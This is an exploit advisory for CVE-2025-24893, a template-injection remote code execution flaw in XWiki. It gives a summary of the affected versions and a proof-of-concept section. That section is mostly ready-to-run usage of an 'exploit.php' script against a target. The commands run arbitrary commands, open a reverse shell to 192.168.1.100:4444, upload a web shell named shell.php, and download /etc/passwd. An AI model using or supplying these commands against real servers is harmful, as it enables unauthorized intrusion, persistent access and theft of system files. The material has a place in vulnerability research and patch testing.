| # Title : XWiki 5.3-milestone-2 Remote Code Execution Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/xwiki/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/209041/ & CVE-2025-24893
[+] Summary : a critical template injection vulnerability in XWiki Platform that allows unauthenticated remote code execution.
The vulnerability affects XWiki versions 5.3-milestone-2 to 15.10.10 and 16.0.0-rc-1 to 16.4.0, potentially impacting thousands of enterprise wiki installations.
[+] POC :
# Check for vulnerability
php exploit.php http://target.com --check
# Execute command
php exploit.php http://target.com --cmd "id"
php exploit.php http://target.com --cmd "whoami" --os windows
# Create reverse shell
php exploit.php http://target.com --reverse 192.168.1.100:4444
php exploit.php http://target.com --reverse 192.168.1.100:4444 --shell python
# Gather information
php exploit.php http://target.com --info
# Upload file
php exploit.php http://target.com --upload shell.php:/tmp/shell.php
# Download file
php exploit.php http://target.com --download /etc/passwd:passwd.txt
